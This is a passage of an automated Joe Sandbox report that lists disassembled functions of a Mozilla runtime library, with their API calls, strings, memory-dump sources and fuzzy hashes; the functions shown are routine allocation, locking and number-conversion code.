?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C99E8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C99E722, 6C99E750, 6C99E7A2
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C99E826, 6C99E850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C99E777
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C99E655
MOZ_PROFILER_STARTUP, xrefs: 6C99E5A1, 6C99E5CC, 6C99E5FF, 6C99E62A

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: cff65f50e53103f362ce9ba93de695206569c6997d784dd6d3388b9ab68587f9
Instruction ID: 8ce947244d5cbc10c64b9c5882184560a2a2ae75396da08a335d8b8f0829866d
Opcode Fuzzy Hash: cff65f50e53103f362ce9ba93de695206569c6997d784dd6d3388b9ab68587f9
Instruction Fuzzy Hash: E211A131608B54DFCB009F15C849B59BBB8FB8932DF254519E94567A50C770F884CBD1

Function 6C9A0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9A0CD5

Part of subcall function 6C98F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C98F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9A0D40
free.MOZGLUE ref: 6C9A0DCB

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

free.MOZGLUE ref: 6C9A0DDD
free.MOZGLUE ref: 6C9A0DF2

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 0d978a4cfd0547df25233c8c2ea475f30d0db58acc2b2a11a62c3ee0755f98d6
Instruction ID: 8b6228db4b23bef3e1e6a4d1db5b717f2f806b281f9c4a3e2c91d2a6705c6c9f
Opcode Fuzzy Hash: 0d978a4cfd0547df25233c8c2ea475f30d0db58acc2b2a11a62c3ee0755f98d6
Instruction Fuzzy Hash: 8A413572A097809BD320CF29C08039EFBE5BF98614F119A2EE8D987B50D770E445CB82

Function 6C990800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C990838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C99084C
EnterCriticalSection.KERNEL32(?), ref: 6C9908AF
LeaveCriticalSection.KERNEL32(?), ref: 6C9908BD
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9908D5

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 847f76282d066539a08ffb6f0fd6e8202346187db3a98a0fe5eb6cef1808141d
Instruction ID: 5d66724608351e1b8e152e020084574ade333fcedd537deb69491c5a7c919f5d
Opcode Fuzzy Hash: 847f76282d066539a08ffb6f0fd6e8202346187db3a98a0fe5eb6cef1808141d
Instruction Fuzzy Hash: EB21B331B0564A9BEB048F66D844BAEB779AF49708F680568D519B7A40DB32E844CBD0

Function 6C9ACCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9ACDA4

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

Part of subcall function 6C9AD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C9ACDBA,00100000,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9AD158
Part of subcall function 6C9AD130: InitializeConditionVariable.KERNEL32(00000098,?,6C9ACDBA,00100000,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9AD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9ACDC4

Part of subcall function 6C9A7480: ReleaseSRWLockExclusive.KERNEL32(?,6C9B15FC,?,?,?,?,6C9B15FC,?), ref: 6C9A74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9ACECC

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

Part of subcall function 6C99CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C9ACEEA,?,?,?,?,00000000,?,6C99DA31,00100000,?,?,00000000), ref: 6C99CB57
Part of subcall function 6C99CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C99CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C9ACEEA,?,?), ref: 6C99CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9AD058

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 21ab459e2694be5d92007f9fc188c5177eff413676b63e37775e5b056bf0d785
Instruction ID: e13b5ba873cb11a38f191cfca532ba899a9c01f1d82dbc39d27802f7eb277510
Opcode Fuzzy Hash: 21ab459e2694be5d92007f9fc188c5177eff413676b63e37775e5b056bf0d785
Instruction Fuzzy Hash: ECD16F71A04B56DFD708CF28C4807A9F7E1BF99308F05862DD8598B751EB31E9A5CB81

Function 6C961720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C9617B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C9618EE
free.MOZGLUE(?), ref: 6C961911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C96194C

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 12d6be15841c6c0ece9b719a04f1b84cbad1ca020cf3b534e317b819b391aeff
Instruction ID: e1d8d6752d8c89da296225dcf8104f89744ad6ff8dd53e8bf47747fb72a66d02
Opcode Fuzzy Hash: 12d6be15841c6c0ece9b719a04f1b84cbad1ca020cf3b534e317b819b391aeff
Instruction Fuzzy Hash: A181E770A152059FDB08CF69D8D45BEBBB1FF8A310F04456DE811ABB90D730E854CBA2

Function 6C975C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C975D40
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C975D67
__aulldiv.LIBCMT ref: 6C975DB4
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C975DED

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 1848d507069d5ab967d3f2ef7fb882371dae29ac8d10ad724a742759ff74307b
Instruction ID: 1f87f39f8e3ef7c84aa57ec3eef4dbb2e3f64417e9166057b9da5a500d700b55
Opcode Fuzzy Hash: 1848d507069d5ab967d3f2ef7fb882371dae29ac8d10ad724a742759ff74307b
Instruction Fuzzy Hash: 77518D71E055198FCF08CF68C955BAEBBB1FB89308F298619D811B7B50C730B985CB90

Function 6C95CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C95CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C95CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C95CF4E

Strings

0, xrefs: 6C95CF30

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 0e851ffa705033111940aa1c33e4e3d91d700d23ea7ee9f0b9783dfe3b6a0d03
Instruction ID: dc4f0ea235c2803fa0aad74319c0a12519226d35278ffde2eabba60f27fc35f0
Opcode Fuzzy Hash: 0e851ffa705033111940aa1c33e4e3d91d700d23ea7ee9f0b9783dfe3b6a0d03
Instruction Fuzzy Hash: CE510375A042568FCB00CF18C890A9ABBB5EF99300F19859DDC595F751D731ED16CBE0

Function 6C9B77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C9B7829

Part of subcall function 6C98CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C9531A7), ref: 6C98CC45
Part of subcall function 6C98CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C9531A7), ref: 6C98CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9B789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9B78CF

Part of subcall function 6C954DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C954E5A
Part of subcall function 6C954DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C954E97

Part of subcall function 6C954290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C993EBD,6C993EBD,00000000), ref: 6C9542A9

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: caf3e7704822f2addaf2677514d346225285f95a206d5c06274acda0d33bd75b
Instruction ID: f052142582ff73968bc6d3a7b89b9dc90c6ff24a43dcf738ae1e8fc1bf822f00
Opcode Fuzzy Hash: caf3e7704822f2addaf2677514d346225285f95a206d5c06274acda0d33bd75b
Instruction Fuzzy Hash: 2241A171904B469BD300DF29C48056BFBF4FF9A254F604B2EE4A997680DB30E559CB92

Function 6C996470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C9982BC,?,?), ref: 6C99649B

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9964A9

Part of subcall function 6C98FA80: GetCurrentThreadId.KERNEL32 ref: 6C98FA8D
Part of subcall function 6C98FA80: AcquireSRWLockExclusive.KERNEL32(6C9DF448), ref: 6C98FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C99653F
free.MOZGLUE(?), ref: 6C99655A

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 78b174288c16fb3899ff68a040e3794a56d5920168d6b753a99ca4954e498543
Instruction ID: 5d1ed47b612aaa19d3445733a6fce65672bf1dbe08f0c3282fef5dc97e92502d
Opcode Fuzzy Hash: 78b174288c16fb3899ff68a040e3794a56d5920168d6b753a99ca4954e498543
Instruction Fuzzy Hash: 8B317EB5A08705AFD740CF14D880A9ABBF4BFA8314F10482EE85A97740DB30E919CB92

Function 6C98FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?), ref: 6C98FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?,?), ref: 6C98FFF5
free.MOZGLUE(?,?,?,?,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?), ref: 6C99001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?,?), ref: 6C99002A

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: d1e9a6697ef0f8e2fdef3903f4ecd0da94cf41952a868af1e85a09b52c30ccae
Instruction ID: f4e5e0f5c16f909b7cb312d189a806363e8cca5c1bbd63e2f55b1bae78501e82
Opcode Fuzzy Hash: d1e9a6697ef0f8e2fdef3903f4ecd0da94cf41952a868af1e85a09b52c30ccae
Instruction Fuzzy Hash: 092108B2B002155BC7089E7C9C948AFB7BAFB993283250738D425D7780EB30DD1186E1

Function 6C96B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C96B4F5
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96B502
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96B542
free.MOZGLUE(?), ref: 6C96B578

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 413b91b72791cdf31f6e5a20aea3889f753af2122a8e2120a1d9d3bf3532e05d
Instruction ID: 0894c2c953dea2b7385df97e14bc304ed39d16faa6129f7da71c1011abd265c9
Opcode Fuzzy Hash: 413b91b72791cdf31f6e5a20aea3889f753af2122a8e2120a1d9d3bf3532e05d
Instruction Fuzzy Hash: 36118C31A08F45C7E7218F2AC8047A5B3B5FFA6319F24970AE84963E01FBB1F1C59691

Function 6C993DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C95F20E,?), ref: 6C993DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C95F20E,00000000,?), ref: 6C993DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C993E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C993E0E

Part of subcall function 6C98CC00: GetCurrentProcess.KERNEL32(?,?,6C9531A7), ref: 6C98CC0D
Part of subcall function 6C98CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C9531A7), ref: 6C98CC16

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 1780f16c9e4972a978fc2bac2f17faf98be9e3e029178694cfe04844e1628a54
Instruction ID: 82f8c848c077912729aa79f4c00a0283270150cdbdaa2a7c1ece37f49bf143a2
Opcode Fuzzy Hash: 1780f16c9e4972a978fc2bac2f17faf98be9e3e029178694cfe04844e1628a54
Instruction Fuzzy Hash: 57F012716002087BDB00AB54DC81DAB376DEF56628F140420FD0957741D635FE6596F7

Function 6C9A20B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9A20B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6C98FBD1), ref: 6C9A20C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6C98FBD1), ref: 6C9A20DA
free.MOZGLUE(00000000,?,6C98FBD1), ref: 6C9A20F1

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 98e032636ff37c3595b6f6039d7dce6c37bc0714a5563ed82be1aebd06bb9ba7
Instruction ID: dffe14cf7f10b13ba22c6fcd429b6cdec438255aa13afdc113a47be198ebd7f5
Opcode Fuzzy Hash: 98e032636ff37c3595b6f6039d7dce6c37bc0714a5563ed82be1aebd06bb9ba7
Instruction Fuzzy Hash: 43E0E531608E259BC3209F26980854EB7F9EF96218B20022AE50AD3B00DB75F58686E6

Function 6C9A85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C9A85D3

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C9A8725

Strings

map/set<T> too long, xrefs: 6C9A8720

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: d388070a54c6fb628f315dcb6579e435a8d66e584e0028e601dd40f85569fcc6
Instruction ID: 78abb823d426034734ac82ea2d71a2a9e40651a0948d6a7529e1d0d1c1036994
Opcode Fuzzy Hash: d388070a54c6fb628f315dcb6579e435a8d66e584e0028e601dd40f85569fcc6
Instruction Fuzzy Hash: 3F518774A00685CFE709CF58C084B65BBF1BF59318F19C19AD8595BB62C334E846CF96

Function 6C95BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C95BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C95BE8F

Strings

0, xrefs: 6C95BE5B

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 3bb851d4a24a3c94b1b57a50d7ada213a41af0139628a2820582b090ee4dd058
Instruction ID: 224e669c214a6a55e36c1d0313d10456ede9b70068a574a7b6ec19c97907299e
Opcode Fuzzy Hash: 3bb851d4a24a3c94b1b57a50d7ada213a41af0139628a2820582b090ee4dd058
Instruction Fuzzy Hash: 1A41A271A09749CFC701CF38C481A9BB7F4AF9A348F448A1DF985A7611D731E969CB82

Function 6C993CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C993D19
mozalloc_abort.MOZGLUE(?), ref: 6C993D6C

Strings

d, xrefs: 6C993D58

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

